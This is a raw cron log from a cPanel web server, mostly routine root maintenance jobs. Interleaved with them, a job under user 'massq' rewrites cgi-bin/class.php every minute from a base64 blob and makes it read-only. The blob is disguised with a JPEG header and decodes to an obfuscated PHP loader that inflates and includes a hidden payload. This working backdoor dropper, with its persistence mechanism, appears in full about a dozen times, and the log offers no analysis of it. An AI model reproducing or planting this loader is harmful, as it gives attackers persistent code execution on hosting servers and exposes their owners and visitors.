Sep  7 12:56:01 server CROND[7046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:56:01 server CROND[7047]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:56:01 server CROND[7048]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:57:01 server CROND[7426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:57:01 server CROND[7427]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:57:01 server CROND[7428]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 12:57:01 server CROND[7429]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:58:01 server CROND[7843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:58:01 server CROND[7844]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:58:01 server CROND[7845]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:59:01 server CROND[8246]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:59:01 server CROND[8247]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:59:01 server CROND[8249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:00:01 server CROND[8702]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 13:00:01 server CROND[8703]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 13:00:01 server CROND[8706]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 13:00:01 server CROND[8707]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 13:00:01 server CROND[8710]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  7 13:00:01 server CROND[8709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:00:01 server CROND[8708]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 13:00:01 server CROND[8712]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:00:01 server CROND[8713]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:01:01 server CROND[9585]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:01:01 server CROND[9584]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:01:01 server CROND[9586]: (root) CMD (run-parts /etc/cron.hourly)
Sep  7 13:01:01 server CROND[9587]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:01:01 server run-parts(/etc/cron.hourly)[9586]: starting 0anacron
Sep  7 13:01:01 server run-parts(/etc/cron.hourly)[9605]: finished 0anacron
Sep  7 13:02:01 server CROND[9976]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:02:01 server CROND[9977]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:02:01 server CROND[9978]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:03:01 server CROND[10434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:03:01 server CROND[10435]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:03:01 server CROND[10436]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:04:01 server CROND[10828]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:04:01 server CROND[10829]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:04:01 server CROND[10830]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:05:01 server CROND[11222]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 13:05:01 server CROND[11223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:05:01 server CROND[11226]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:05:01 server CROND[11227]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 13:05:01 server CROND[11230]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 13:05:01 server CROND[11229]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:05:01 server CROND[11228]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 13:05:01 server CROND[11231]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 13:06:01 server CROND[12217]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:06:01 server CROND[12218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:06:01 server CROND[12219]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:07:01 server CROND[12630]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:07:01 server CROND[12631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:07:01 server CROND[12632]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:08:01 server CROND[13023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
